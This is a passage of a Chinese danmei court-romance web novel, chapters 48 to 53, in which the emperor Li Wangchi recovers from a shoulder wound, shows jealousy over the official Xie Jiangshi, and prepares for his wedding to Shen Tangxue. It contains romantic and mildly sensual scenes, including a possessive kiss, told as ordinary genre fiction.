沈棠雪先前去探李妄迟伤口之时,将他的伤口又重新小心包扎过,此时已然好了许多。 但伤口虽没有先前那般闷着,却也因着当时并未及时处理而溃烂了不少。 眼下狰狞可怖……竟直直呈现出一个被剑身搅动几乎见骨的血窟窿。 苏砚白看着这伤口被不以为意对待的模样,脸色逐渐凝重,随即霎时沉了下去,冷声对李妄迟道: “你的伤重得这般,如若伤口再往里深一点、再晚治一点,这只手就不用要了。” 此话一出,霎时殿内针落可闻,在无尽的气压低沉之下,无人敢说一句话。 沈棠雪紧张得心上一揪,猛地抬眼看向李妄迟,便见着他身子一僵,不知该说什么的模样。 沈棠雪闭了闭眼,嘶哑地轻唤了一声, “妄迟……” 可眼下这般情状不应再怪罪什么。 沈棠雪深深呼了一口气,自顾自紧紧攥着手,几乎将指甲都嵌入皮肉里去。 他缓缓抬眼看向苏砚白,努力地用气声问道: “那如今这般……要怎么治?” 第49章 第四十九章“那过来我抱抱。”…… “如今发现得及时,伤还有得救。只是这一个月皆是危险时日,右手不得动弹,不得牵动伤口。” 他们二人如今正是如胶似漆的时候,苏砚白又担忧地叮嘱了一遍, “这些时日需得多注意些,好好敷药……待一个月后,才算脱离危险。” 沈棠雪听进心里去,深以为然地点了点头,一脸正色地对苏砚白道: “你放心。” 李妄迟本来不以为意,并未放在心上。后来才知道他那句“你放心”是什么意思。 肠子都悔青了。 “阿雪……” 淡香氤氲的殿内,阳光直直洒过窗棂。李妄迟幽怨地看着面前离他三米之外的人,用眼神控诉他的残忍。 已经五日了,沈棠雪除了来监督他服药、敷药之外,根本不让他靠近。 他像只小猫一样,每每到了时辰便轻蹑着脚步,踮起脚来看向他的肩头,垂眸凝定着眼神时,小巧的脸颊往前一凑。 待见着他日渐好些的伤口时,满意地噙起一抹笑来,微微扬起下巴。 只是在他要抱住人时—— 又霎时轻巧着脚步往后一撤,跑得远远的,抓也抓不住。 对于他的控诉,沈棠雪不为所动,看向他的伤口,一字一句掰扯着细数, “为着隐瞒受伤之事,用闷厚的纱布包住伤口;不及时换药;不把自己当回事……怎么样也得等伤好了再说。” 李妄迟委屈道:“那过来我抱抱。” “砚白说了,你这一个月手都不能动,不给抱。” 李妄迟一口气梗在喉中,觉得他简直是把苏砚白的话奉为圭臬,好像是要惩罚他一样,一点甜头都不给。 他忍无可忍却又无可奈何。却只能抿着唇自顾自沉默了一会,半晌,又自己泄了气,低落地开口道: “……那你过来亲我一下。” 李妄迟的语气都带着闷闷不乐的沉闷,耷拉着眼皮别过脸去时,好似一副委屈巴巴被人抛弃的模样。 沈棠雪心尖微动,似也觉着他这样也实在可怜,轻叹了一口气,缓缓上前。 他睫羽微颤地微微抬起下巴,垂落的手轻轻勾住李妄迟的手指,踮起脚尖凑上去在他的侧颊浅浅地亲了一下。 如蜻蜓点水,一触即分。 在肌肤相贴的瞬间,李妄迟刹那呼吸粗重一分,在抬起眼来时,霎时伪装着委屈的眸色微闪。 ……怎可能让阿雪就这么跑了。 他轻轻伸手捏着沈棠雪的指尖,侧过头去,主动地倾身追住沈棠雪的脸颊,转过头贴着回吻。 霎时唇瓣相贴,柔软的触感传来,叫他有些情不自禁。 他蜷了蜷指尖,克制着不让自己的手臂动弹,紧绷着身子,生怕违背了沈棠雪的规矩,他又跑了。 这个吻很轻,俯身之时,他浅浅地啄着沈棠雪的唇瓣,亲吻着他的嘴角。 待到情动,他闭了闭眼,缓缓伸出未伤的左手,小心地试探地扣住沈棠雪的后脑勺。 “阿雪……” 他端得缱绻,温热的吐息喷在沈棠雪侧颊。 温存之时,却见沈棠雪缓缓抬起眼,警惕地越过他的脸颊,望向他有伤的那边肩头—— 刹那如一盆冷水泼下。 李妄迟霎时紧绷住身体,辩解一样看着自己那边肩头,警惕地道: “没牵扯到伤口!” 沈棠雪探究般的上下打量了他一圈,似是不信。 待见他右边肩头一切完好、也未渗出血来,脸色也比前几日好了一些之时,沈棠雪才逐渐缓和了眼神。 李妄迟委屈地耷拉下眼皮,对他的不信任表示无声的控诉,却还是不舍得真的说些什么,小心翼翼地看了沈棠雪一会,缓缓将手探到他的的脖颈。 他微微垂下眸,在沈棠雪缠着纱布的伤口旁摩挲了一下, “好些了吗?” 这些时日,沈棠雪的嗓子比前几日好了许多,虽出口的话语仍是气声,但隐约之间好似声音凝实了一些。 而在苏砚白的调养之下,阿雪因着解药而变得瘦削的身子也好了许多,脸上逐渐有了气色。 沈棠雪喉结滚动,垂眸将指尖同样搭在他的手背,抬起头来对他笑了一下,“已然好些了。” “只需再一个月……便完全好了。” 他的唇齿之间吐露出呢喃细语,半晌声音渐低,不知是在提醒自己,还是在提醒李妄迟。 待李妄迟凑近,他又眸光微动,轻巧地退开了脚步,冲着他笑了一下。 …… 之后,李妄迟似是探到了他的底线,每日用药之后,都会例行主动来给他看逐渐恢复的伤口。 待见着伤口逐渐恢复后,他又亮晶晶地抬起眼来,眼巴巴地想要讨点好处。 沈棠雪见他这副模样,扑哧一声笑出声来,低垂着眸子撑着头,轻叹一口气,缓缓俯身…… 在他的唇角亲了一下。 沈棠雪方喝过药的唇瓣湿润,蝶翼般的眼睫微颤,那一双眸子温和柔软,手臂轻撑在床榻上时,如丝绸般的乌发垂落在肩上。 李妄迟的眼睛定定地看着他,眼底满是爱意,半晌,轻轻捧着他的手,轻柔又真挚地说, “阿雪……你真好看。” 沈棠雪还未抽回身子,缓缓颤了颤纤长的睫羽,愣了一下。他的面颊霎时有些微红,别过脸去,眼睫微颤,唇瓣轻启,正欲开口说些什么…… 下一秒却听门外有人禀报,“陛下、小贵人,谢大人求见。” ……谢将时? 沈棠雪霎时一愣,似是想起这些时日还未与他细说便匆匆离去,连忙道了一声“快宣”,便缓缓站起身来,轻拢衣衫便要往外走去。 于他面前的李妄迟脊背一僵,方才的神情刹那敛了个干净,不知道在想些什么。 他缓缓拉住沈棠雪的手抿了抿唇,语气有些低沉地反驳道: “阿雪,不去好不好?” 他也不想这般没道理,但是想到谢将时喜欢阿雪……还是心里有点隔阂。 谢将时同阿雪关系那般好,就连当时出宫刺杀之时……也是住在他的宅院之中,为人端得温和又与阿雪相谈甚欢。 他还是心中在意。 李妄迟缓缓闭了闭眼,也觉着自己许是在病中,更依赖沈棠雪一些。 但他们本来就经历了千难万险好不容易才在一起…… 他不想再分阿雪的一点时间给别人。 可瞧着眼前人执意要去的模样,李妄迟微微黯然了眼神,也生怕沈棠雪生了气,语气软了几分又用尽量商量的语气又唤了一声, “阿雪……不去好不好?” 沈棠雪被他拉住手,顿了顿脚步。他无奈地揉了揉太阳穴,轻轻叹了口气,好脾气地解释道: “妄迟,我住在将时那里这么久,得了他尽心尽力照顾,应当感激,而不是在回宫之后将其避而不见。” “这些时日发生许多事我并未与他细说,且还撂了一句回宫便匆匆离去,如今再不见人……于情于理都不妥当。” “将时也是我很好的友人,不能这样……” 听此言语,李妄迟黯然下眼睫,没再说什么,松开了他的手。 沈棠雪看了他一眼,打算回来再解释,抬步往外走去。 却不想,当他正定定站在门扇前正欲打开之时—— 却被一个身后飞扑过来的人影猛地抱住! 第50章 第五十章正宫的地位,小三的作派…… “嘭!” 二人齐齐砸在门扇上,沈棠雪闷哼一声,被他揽在双臂之间。 李妄迟缓缓贴近,手臂环住了他的腰肢。霎时二人的呼吸交缠。 烫热的吐息喷在他的侧颊,李妄迟的眼神幽深,随即给予细细密密的吻—— “妄迟……!” 沈棠雪无路可退,便被他黏黏糊糊地凑近。 李妄迟像渴求一般吻着他的侧颊,呼吸粗重,刹那又堵住了他的唇。 “唔……” 沈棠雪被迫扬起雪白的长颈迎合,手指微蜷着,颤抖地轻喘着气,霎时耳畔传来颤抖的水声。 他的锁骨上下起伏,指尖蜷缩着摁在门扇上,嗓中溢出颤抖的呜咽。 缓缓颤着眼睫之时,眸中水光潋滟。 “阿雪。” 李妄迟倾身在他的眼睛上亲了一下,眼中有晦暗不明的情欲。 于他沉沉的瞳孔中,倒映出沈棠雪如今眼眶微红,眼尾染了一抹胭脂色的漂亮模样。 但此刻是要去见人的。沈棠雪颤抖地轻喘着气,眼底有微嗔的怒意。 他伸出颤抖的指尖想要将人推开,却又碍于李妄迟肩头伤口有些不敢动,只好商好量地道: “妄迟,放我走,将时还在等……” 却不想李妄迟霎时眼神沉了下去,眼底微暗。 ……这样的沈棠雪,他怎么可能放他离开。 他的呼吸逐渐放得粗重,气息交缠之时,李妄迟闭了闭眼,又倾身吻了上去。 刹那节奏被他掌控,沈棠雪像只被他拢在手心里的雀,被他紧紧禁锢在怀中,只得不住地颤抖着身子,任他的气息沉浮。 “哈……” 撩拨之间,沈棠雪微微涣散瞳孔迷茫着眼神,湿润的纤长睫羽微颤。 亲吻之间,他的唇间溢出无意识的呻吟,指尖微微蜷起,身子一下一下地颤抖…… 几乎要往门扇里钻。 “躲什么?” 李妄迟轻笑一声,瞧着他这副模样,又凑近了一些。 他定定看着沈棠雪颤着眼睫别过头去的模样,只觉着他实在可爱。 他伸出手用指腹缓缓揉上沈棠雪的侧颊,轻轻地亲上他的耳垂。 吐息在耳畔忽远忽近的环绕,带起一阵密密麻麻的酥麻感,叫沈棠雪不自觉红了耳尖。 他颤着一双清泠泠的眼,正要转眼看向李妄迟时—— 背后的门外却传来两道渐近的脚步声。 于门外的寂静之地,隔着门,似有人客气对语, “谢大人,陛下与沈太傅便在殿中。” “多谢,我自己进去罢。” 二人说罢分别,一道熟悉的脚步声款款向前。 沈棠雪霎时身子一僵,眼神顿时清明,紧贴着门扇呼吸放得轻缓。 随着脚步如鼓点愈来愈近,他几乎能感觉到身后若有似无的目光。 他蹙起眉瞪了李妄迟一眼,缓缓直起身,推搡着他将要退开身来—— 却感觉李妄迟的眼神沉了一瞬,霎时左手扣住他的后脑勺—— “唔!” 霎时如暴风雨般的亲吻袭来,沈棠雪一愣,本松懈了一分的脑袋霎时空白! 他的呼吸一浅一深,几乎要跟不上面前人汹涌的亲吻动作,被迫迎合之时眼睫颤得厉害,不住地抖动着身子,颤抖着语气道: “妄迟……放开!放……唔!” 可迎来的只是面前人愈发猛烈的拥吻。 李妄迟掌握着主导地位,愈吻愈深,手扣着他的下巴,几乎要掠夺他的呼吸。 刹那间,沈棠雪的呼吸急促了一分,情深之时,眼瞳微微涣散。 他闷哼着压抑着嗓音中的尾音上扬,被亲得面颊发烫。 李妄迟缓缓抬眼看向门外,冰冷的眼中竟带着些挑衅意味。 只一墙之隔,被亲吻得断断续续的低喘传出,还带着颤抖的呜咽声。 门外人一愣,似识趣地没有敲门。只是那一道身影沉沉地站在门外,阴影顺着阳光进入屋内,拢成一个静默的影子。 沈棠雪的脊背抵在门扇上,低垂着头,颤抖着身子又气又恼。 感受到屋外人的存在,他颤颤地抓住李妄迟的大臂,湿润着眼睫别过脸去,断断续续地道: “妄……妄迟……放、放开我……” 却被李妄迟缓缓禁锢着双手伸至头顶,俯身亲了亲锁骨。 “不放。” 沈棠雪紧贴着门扇,低低地呼吸着,一时被亲得面颊湿润。 他的细瘦腰肢被搂着,身形被李妄迟紧紧地环抱禁锢,无法动弹一分,更别说去见人。 霎时呜咽声和亲吻声弥漫,他一面紧绷着,一面感受着屋外人定定站着的存在感,脊背颤得厉害, “我……” 这声音又被吞咽进嗓子里去。 不知过了多久,屋外人身形微动。 那道笼在他们头顶的影子逐渐退去,似还带着些许落寞和沉闷。 沈棠雪的心咯噔了一下,感受着那人离开的动作,愣愣地想要转头向着屋外望去,又被李妄迟捧住脸颊。 李妄迟定定地看着他,不偏不倚地没有对离开的身影施舍一分,眼中是弥漫开来的强烈占有欲, “阿雪……不准看别人。” …… 待将人松开之后,沈棠雪似是生了大气了,周遭弥漫着低气压,又气又急又恼,哄都哄不住。 他那一双清泠泠还尚余眼尾薄红的眼神狠狠地瞪着李妄迟,躲开不让他靠近,心中烦乱。 一是因着李妄迟又不好好注意他受伤的肩头,实在可恶! 二是借着伤口的势头叫他无法挣扎,害得他在谢将时面前羞恼,实在可恶! 三是谢将时来了宫中也不让他见,实在可恶! 沈棠雪心中细想一二三条,气得牙痒痒,直直唤侍人来陪他出宫。 一面迟迟赶来的徐公公看见这一幕,欲言又止,犹豫地对李妄迟道: “陛下……您又何需如此啊!小贵人对您生了恼,后悔的不也还是您么?” 李妄迟定定转眼看着沈棠雪离开的身影,面上懊悔,却是咬牙切齿道: “朕只悔没有早日要到名分……要是阿雪是朕的皇后,谁敢惦念?” 他的面色阴沉,脸上有抹不去的烦闷,似是想到了什么,眼神微暗, “走,陪朕去看看婚服。” 第 51 章【VIP】 第51章 第五十一章大婚将至。 “吱呀——” 随着宫内的一座殿室打开,被捧在衣架上直直挂着的凤冠霞帔映入眼帘。 架面上挂着几乎垂落在地的绛红色凤袍,上头织绣着金线暗纹。 栩栩如生的凤鸟纹盘旋在衣面,于这辉煌的殿室之中平添一丝尊贵。 李妄迟看着婚服的模样,方才面色尚带着的阴郁一扫而空。 他缓缓上前,指尖轻抚着衣面上的纹路,不自觉嘴角上扬,露出一个浅淡的笑意来。 凤袍绣工精巧,衣纹细密柔软。指尖触碰之时,好似恍惚地几乎能想象沈棠雪穿上它的样子…… 他不自觉柔和了眼神,低声吩咐着叫侍人捧了凤袍,出殿往暖阁走去。 此时霞光万道,红霞徐徐地挂在空中笼罩天地,恍然出浓郁的橙黄颜色。 眼见着暖阁渐近,他不由得脚步加快,带着笑意缓缓靠近院中。 却得知了沈棠雪尚未回殿的消息。 他一愣,才想起沈棠雪早些时候便出宫去寻谢将时了…… 现在还未回来。 他顿时有些懊恼,不由得黯然了眼睫,微蜷手指,抿了抿唇等在一旁。 分明天色正好,他却觉着度日如年,心如鼓点。 半个时辰之后,只见来禀报的侍人渐近。李妄迟紧绷着脊背惊喜地抬起头来,却见侍人低声说道: “陛下,小贵人已从侧门进殿了。” 李妄迟一愣,骤然听见“沈棠雪从侧门进殿”几字,霎时如晴天霹雳,心中暗道不好,咯噔一声。 若无特殊,阿雪不会走侧门。他想必是知晓他来了,又在气头上,才从侧门进…… 不想让他瞧见,也不想让他进殿。 李妄迟暗暗心揪了一揪,一时踌躇之意涌上心头,暗自踱步,仍是不死心地唤人去通报—— 却果不其然得到了沈棠雪将他拒之门外的消息。 霎时周遭寂静,鸦雀无声,侍人齐齐站着之时,见着尊贵的陛下吃了个闭门羹。 李妄迟低垂下眉眼,思绪半晌,抿了抿唇。他抬起头提高了声量,伸长脖子向殿内唤道: “阿雪!” 他的声音脆生生的,直直地传进殿内里去,带着一股沈棠雪不出来他便不走了的架势。 不过一会,殿内传来窸窣一声,似有人带着愤愤的情绪,款款从中走出,还瞪了他一眼。 沈棠雪双手环抱,好整以暇地站在院内,离得很远,淡淡地看着李妄迟。 李妄迟见着他,霎时委屈地耷拉下眼皮,方才中气十足喊人的模样骤然不见,支支吾吾卖惨道: “阿雪……我今日还没敷药……” 沈棠雪缓缓抬眼,顺着话语看向他的肩头。虽然隔了很远被阳光氤氲得隐隐绰绰看不明晰,但瞧着李妄迟的模样,恐怕也确是毫不在意。 他冷笑一声,那午时被哄骗着禁锢在门扇旁的怒火霎时又涌上心头,不为所动道: “左右你也不爱惜不在意这伤口,再敷药也无用,不如随了你去。” 他肩头的伤分明一个月内都危险,需得好生照顾,不得动弹。 到头来李妄迟却不以为意,只有他放在心中,战战兢兢,倒成了他拿捏他的借口。 如此这般,他不管便是。 沈棠雪想到此,没再给他一个眼神,派人将人打发走,便转身又进了殿。 他疲惫着卷眼揉了揉太阳穴,转头缓声叫侍人把谢将时给的安神香点起来,便自顾自上榻休息。 李妄迟听见殿内的声响,心不由得揪了一揪,连呼吸都放得轻缓。 他僵硬着身子不知在外头等了多久,待昏黄阳光渐暗,侍人来禀报沈棠雪熟睡之时,才缓缓进殿。 “唰拉——” 灌入屋内的风卷起衣袂,李妄迟蹑着声音步入殿内,脚步放得轻。 他缓缓向着床榻走去,却是身形一顿,殿内一阵陌生的淡淡香味蔓延鼻尖。 他想起这是今日阿雪出宫时谢将时给的安神香,眼神微沉,冷声转头喊人撤了,周遭气压渐低,自顾自上了榻—— 将沈棠雪环在怀里。 霎时烫热的吐息喷在沈棠雪的颈侧,两人的呼吸交缠在一处。 李妄迟低垂着眼看着他的面容,迷迷糊糊之间,便见沈棠雪迷茫地睁开一只眼来。 那一双清泠泠的眼似是还未看清人,微微眯着,却在骤然感觉到整个人被李妄迟揽着时,霎时清醒了两分。 “你进来做什么,我不是说……” 沈棠雪微微抬起身,带着气愤想要往后退去,眼神瞪了他一眼,本能地看向李妄迟的肩头,正欲质问…… 却在鼻尖凑入一股淡淡的药香时,愣了一下。 方才隔着远看不甚明显,如今二人凑近,他才看清李妄迟肩头的伤口被包扎得完好。 那道伤口并未开裂,也被人小心地避开…… 分明是听了他的话,敷了药来的。 沈棠雪颤了颤眼睫,也明白了方才李妄迟那是对他示弱的委屈话,提着的心缓缓落了下去,却是别扭地别过脸去。 李妄迟见他这副模样,微微凑近,缓缓低垂下头来,低低地在他耳畔说道: “阿雪关心我的伤口……我很高兴。” 他将手扣住沈棠雪的手,呈十指相扣状,低声在他耳畔继续说道: “今日是我错了……下次再不会了。” 霎时耳尖一片酥麻,沈棠雪不自在地抿了抿唇,便见李妄迟转眼下来,倾身在他的鼻尖亲了一下。 如蜻蜓点水,一触即分。 李妄迟看着他的那双眼睛温柔,弯了弯眼睛,视线一直看着他。 见着他逐渐缓和的眼神时,李妄迟也雀跃起来,温柔的声音在他耳边响起, “阿雪……起身我给你看个东西好不好?” 沈棠雪缓缓转眼看他。 如今的睡意本就清醒了个干净,更何况此时不过黄昏,也并非就寝的时候。 方才经过正门时,他无意看见了李妄迟似是带着侍人拿着什么……只是并未细看。 莫非是有什么要给他的? 他定定地思索半晌,犹豫地点了点头。 李妄迟的脸上顿时扬起一阵惊喜的笑容,他快步下榻去,搭着门扇对侍人说了些什么。 随即像献宝似的神神秘秘又进殿,手上提着一件火红的衣裳。 刹那间婚服的模样映入眼帘。 此时晚霞透过窗棂洒落,上头的凤鸟纹被照映得明朗。定定望去时,衣面上的暗纹若隐若现,散发不住闪烁的微光…… 显得更加鲜亮。 沈棠雪一愣,有些晃神。 他看着李妄迟站在他的身前,提着婚服带着笑意看他,眼睛微弯带着期待的模样。 不自觉有些诧异和动容,眼底温柔闪烁。 分明婚服的颜色更加鲜明夺目,他的视线却不可控制地看向李妄迟眼中泛着的细碎亮光。 此时的李妄迟像是小狗叼了什么好东西回窝一样,眼睛亮晶晶的,满心满眼都是他。 希望他开心快乐,也要他幸福。 沈棠雪刹那缓缓柔和下眼神,心里堵着的气消了个干净。 他缓缓颤了颤眼睫,便见李妄迟将婚服放至他身前比划。 李妄迟的眼神柔和着好似在勾勒着他穿婚服的模样,随即将婚服缓缓放至床榻旁,倾身向前环抱住了他。 “阿雪……” 腰间传来温热的温度,沈棠雪一愣,便见李妄迟缓缓将头埋进他的怀里,大掌环在他的腰间。 李妄迟垂着的眼神带了一丝探究,似在看他这些时日长了些肉没有,指腹似丈量一般,轻轻摩挲。 见着他气色逐渐红润的模样,才将脸侧着贴在他的胸膛,面上露出欣慰的表情,缓缓噙着一抹笑意。 他本就打算等阿雪身子渐好了再想大婚之事,而此时来看,比他想得要快得多。 阿雪气色愈发红润,不似先前那副虚弱的瘦削模样,就连婚服也愈发撑得住…… 可以将其提上日程了。 …… 那日之后,李妄迟好似是为了早些大婚,使出浑身解数让自己的伤好得快一些、再快一些。 去见沈棠雪之前,他都将敷药服药做得及时,一副完全乖顺的模样。 苏砚白听闻此事非常欣慰,再来给沈棠雪诊脉时都像喜上加喜。 又加上诊出了沈棠雪能逐渐说话、发出略微嘶哑的凝实声音的消息,他的心情更加愉悦。 听闻此事,李妄迟喜出望外,连忙赶到殿中。 他欣喜地看着沈棠雪端坐在床沿对着他噙着一抹淡笑的模样,颤抖地牵起他的手,指尖轻轻摸了摸他的脖颈。 “做什么?”沈棠雪笑着无奈看着他,启唇问道。 “没有……我是高兴。” 李妄迟缓缓描摹着面前人笑意盈盈逐渐变好的身影,时至如今,竟涌起一阵颤抖的喜悦。 眼见着即将大婚,阿雪也愈来愈好,他霎时有些语无伦次,觉着这好似一场太美的梦。 曾经他以为与阿雪不会再见,而如今却又失而复得。面前人如三年前一样带着浅笑看着他,一切恍若从未发生…… 像梦一样。 李妄迟努力平复心情,缓缓扬起一抹笑来,温柔地对沈棠雪道: “阿雪,明日我们出宫去逛上一逛,如何?” 第 52 章【VIP】 第52章 第五十二章但是他戴凤冠肯定更好看。…… “哒哒——” 马蹄声清脆响起,驷马高车缓缓驶在出宫的道路上。 沈棠雪缓缓伸出指尖撩起车帘,随着车帘微晃,将窗外的景色若隐若现地收入眼底。 此时春意渐近,松雪缓缓融化,空气中弥漫着一阵湿润的温暖。他望着外头的景色,缓缓噙起一抹淡笑来。 前方传来一阵喧嚣,马车随着马蹄声渐渐涌入人潮,霎时街道的热闹景象映入眼帘。 “来看看咯——新鲜的肉包子!” “姑娘——来瞧瞧这个簪子!实在衬你!” 耳边街道的声音熙熙攘攘,沈棠雪缓缓柔和眼睫,转过头对李妄迟笑道: “我们也去看看罢?” “好。” 李妄迟躬身三两步先行下了马车,站在一旁等他。 今日他们并未带了几名侍人,而是一车,一仆夫,两人而已。 想到今日只他们二人独处的模样,沈棠雪缓缓噙着一抹笑来,也款款挪动身形。 他轻轻撩开帘子,低垂着眸子缓缓踩上脚踏,步子轻缓,抬起脚步,逐渐迈向地面…… 却倏然被人环住了手心,沈棠雪一愣,霎时一阵推拉的力道涌上指尖,将他往外一拉—— 他顿时脚步不稳,踉跄两步,刹那被搂着腰肢跌进李妄迟的怀里! “唰拉——” 二人的衣角缠绕在一处,带着细微的摩挲之声。 沈棠雪猛地闭了闭眼,心脏怦怦直跳,指尖刹那蜷起,便见李妄迟将他稳稳地揽入怀中。 “阿雪……怎么这么不小心?” 刹那二人十指相扣,他的指尖被李妄迟严丝合缝地环着,掌心传来温热的温度。 沈棠雪想起方才差点摔跤的动作,以为是自己当真不注意,耳尖都红透了,不自觉将头埋入李妄迟怀中。 扑通,扑通。 心跳声怦怦直跳,他悄然别过眼去眼睫微颤,感受着面前人的热度和安稳拥抱,心尖一颤。 周遭喧嚣声涌入耳膜,心跳声格外明显。他们站在人群之中,穿得寻常,与百姓并无不同…… 像极了一对寻常眷侣。 沈棠雪蜷了蜷指尖,心上动容,纤长的睫羽如蝶翼般扑闪,缓缓抬起一双清泠泠的眼看向李妄迟…… 待到他…… 却对上了他一道温柔却又带着一丝笑意望着他的眼神。 沈棠雪一愣,从中望出李妄迟眼底被掩藏得完美的狡黠,霎时想起了下车时环着他的手将他拉入怀中的那个力度—— ……他方才是故意的! 霎时一阵羞恼涌上心头,他瞪了李妄迟一眼,气鼓鼓地退开身来,有些生气地目不斜视往前走去—— 却倏然手上一沉,被身后人拽着手腕往后一拉…… 又被抱入怀中。 刹那间,颈后传来一阵温热的吐息,李妄迟将脑袋抵在他的肩头,语调放得轻缓。 沈棠雪别过眼,便见李妄迟环着他的腰肢,侧过脸看他,连忙讨饶, “阿雪,我错了。” 一阵酥酥麻麻的触感传上耳尖,带着呢喃般若有似无的撩拨。 沈棠雪缓缓颤了颤眼睫,还未说什么,随即一个吻抵上他的侧颊—— 一触即分,带着温热的浅淡湿润。 沈棠雪的心尖微颤,眼神微动,却是冷哼一声别过脸去,装作一副仍是生气的模样。 李妄迟定定看着他这副模样,笑意渐浓,知晓他已然不气,但看着他这副模样还是觉着实在可爱。 他一只手不安分地缓缓绕到沈棠雪的指尖,将其若有似无地勾着。 随即捏了捏他的手指,缓缓拉着他向前走去。 街道两旁的商贩许多,吆喝声与清脆的嬉闹调笑传入耳中,激起一阵雀跃欢快。 沈棠雪亦步亦趋地跟在李妄迟身后,两人身形贴得紧。 他那清冽的眼左顾右盼,眸中的光芒被阳光照耀得细碎。 自李锦殊死后,京城回归平静。 虽那一场劫狱意外叫街道损失惨重,但李妄迟及时止损,修缮房屋、给足了银子,又免了城中一年赋税。逐渐,城中百姓慌张渐少。 如今四处洋溢着开心的气息,更多的是庆幸。 沈棠雪的眼神缓缓柔和,见着周遭欢快模样,嘴角不自觉噙起一抹笑来。 下一秒,便见李妄迟指着前面的一个小摊子,捏了捏他的手指,示意他向前看去。 “什么?” 他下意识抬眼顺着他的视线望去,却是一愣,见着了一个…… 卖着银簪的小摊子。 远处的摊位不大,只有一个商贩吆喝着,绸布上头摆放着各式各样的银簪,花式轻巧。 阳光缓缓照耀之时,簪子便随之闪烁,泛着细微的光芒。 沈棠雪微微蜷了蜷指尖,不知想到了什么,半晌不自觉颤了颤眼睫,便见李妄迟俯身凑近同他咬耳朵, “阿雪……我曾经也给你做过这样一个簪子。” 沈棠雪低垂的眼神逐渐黯然,缓声回道: “嗯……我记得。” 那一年,他也曾好生爱护着那个簪子,也曾欢喜雀跃……但那个簪子在草原不见了。 他没能将它带回京。如今……也没法再戴给李妄迟看。 李妄迟见着他呼吸逐渐放缓、眼神微暗的模样,心上一揪,好像知晓了他在想什么。 他有些懊恼将其提起,眼中闪过一丝心疼之意,隐隐约约知晓了簪子的下落。 半晌,他缓缓捧起沈棠雪的脸颊,将他的心绪唤回来,似承诺般轻声对他道: “阿雪……往后我会再给你做……要多少都给。” 沈棠雪缓缓僵硬地抬起眼来,便直直对上了李妄迟带着笑意鼓励着他的眼神, “先去挑一个罢。” 霎时双手被拢在手心,沈棠雪眼睫一颤,便见李妄迟宽大的手掌握着他的,轻轻带着他至摊位旁。 那个高大又让人觉着安心的身影站于他身侧,修长的手指伸至摊位之中,先行挑选着。 李妄迟的神情认真,似在细致地挑选什么珍贵之物,随即—— 指尖落到了其中一只支镶嵌着一颗绿松石的银簪上。 “阿雪。” 沈棠雪一愣,便见李妄迟缓缓将其拿起,嘴角噙着一抹满意的笑,伸出手来倾身摆弄着他的乌发—— 将发簪盘进他的发间。 刹那银簪微晃,绕着丝绸般的乌发时,显得更为鲜亮明媚。 视线之中,沈棠雪今日穿着一件月白色交领长衫,温柔着眼神之时,好似皎皎明月。 那透亮的绿松石于他发间,便显得愈发明亮,莹莹得宛若与他璀璨的瞳孔交相呼应。 李妄迟恍然之间,竟有些看出神了。 “阿雪……你真好看。” 他的眼神逐渐温和,神情灼灼,视线描摹着沈棠雪的身影,不知在想些什么。 半晌,他倾身去撩开沈棠雪鬓边的碎发,在他的耳畔说道: “但是,你戴凤冠肯定更好看……” “阿雪,明日我便开始筹备婚礼日程……做我的皇后吧,好不好?” 第五十三章(正文完结) 第53章 第五十三章(正文完结)百…… 随着一日一日过去,光阴私箭,李妄迟的伤势渐好,他像不知累一般,开始几乎脚不沾地地忙活着大婚之事。 李妄迟每日寅时起子时睡,七分精力都扑在其中。 又有两分精力时不时地去照看沈棠雪,同他耳鬓厮磨,而那最后一分…… “阿雪的嗓子什么时候能好啊?” 转眼殿中,分明春意盎然气温适宜,一片祥和景象,却有人气压极低,脸上一副被烦得几乎崩溃的阴霾。 苏砚白的额头上青筋暴起,忍无可忍, “这已经是你此月来我这儿问的第十七次了——他的嗓子已经逐步渐好,不过几日,伤痕都能好了个干净了!” 李妄迟理亏地悻悻缩了缩脖子,又怕有所疏漏,踌躇着眼神仍仔细又问道: “当真?他昨日脖子上的疤痕好似又深了一分,我瞧着他昨日看我的眼神都有些……” 苏砚白毫不留情地打断他道: “那是你的错觉。他昨日气息足得很,拆开纱布的时候那伤口几乎淡得看不见了……你不是也看到的?” 李妄迟若有所思,“……可我怎么觉着他的嗓子还有一点点哑呢?” 苏砚白顿时哑了声,感觉被锤子砸了个头晕目眩,同他简直鸡同鸭讲。 他咬着牙深深吸了一口气努力地平复下怒气,就差指着门外下逐客令, “你要这般担心,去问他就好了!” 李妄迟沉思片刻,似是将此话听进心里,纠结地踱步。 他好似要听取建议,又好似想到什么,缓慢地摇了摇头否决,半晌定了定心神道: “……不行,不能让阿雪知晓我为着早些大婚之事这般紧张。” 刹那,苏砚白感觉自己的思绪放空,生无可恋。 他也不知自己如今的面目有多狰狞,只是凭着防止自己气出病来的想法,狠狠地朝李妄迟翻了个白眼。 “给我滚……!” …… 得亏李妄迟这些时日无休止的“监工”,苏砚白一面咬牙切齿,一日七次地往暖阁里跑,照顾得那叫一个尽心尽力—— 尽心尽力地想将这位带着烦人家属的病号送走。 所幸他医术高超,几日之后,沈棠雪的病也终于好了个完全。 苏砚白也长长地舒了一口气,终于摆脱了紧绷着的思绪。 与此同时,京城之中帝后大婚的消息不胫而走,四处讨论声不断。 “你看见醉仙楼的告示了吗?三日之后,宫中的那位宴请全城百姓——不论是谁,皆能免费登楼赴宴!” “都说是宴请全城,哪能只有醉仙楼——我去看啦,不仅醉仙楼!宴琼阁也有!仙乐楼也有!全是城中响当当的大酒楼!” “陛下大手笔——这次的帝后大婚可是顶顶的气派,听闻比前朝都更甚呢!” “果然是有情人终成眷属!瞧着之前劫刑场的时候陛下紧张护着沈太傅的那神情——二人鹣鲽情深,当真天造地设!” “我瞧着呀,当年之事也是另有隐情!” 一时消息人尽皆知,无数人将其奔走相告,城中洋溢着欢快的气息。而于宫中,也一样喜气洋洋。 侍人皆被加了俸禄,派遣着将凤仪宫收拾出来。 在阳光明媚的辰时,数百箱妆奁被一箱一箱往里搬。红绸装点,殿内华贵得富丽堂皇。 近远望去,皆是无可挑剔的架势,似要比十里红妆更甚。 而于暖阁之中,沈棠雪一袭桃色云纹锦袍,轻轻靠坐在圈椅上,缓缓抬眼看向窗外逐渐升起的艳阳。 他听着宫中欢声笑语的动静,脸上噙起一抹浅笑来,修长的指尖微蜷,又缓缓放松下来。 随着时日渐过,大婚的流程缓缓拉开帷幕。 正至辰时,沈棠雪端坐于太师椅上,被一众侍人围在其中,悉心梳妆。 他手持团扇搭在身前,身着凤袍霞帔,小巧的脸颊敷了妆粉,眼尾微微晕着一抹薄红。 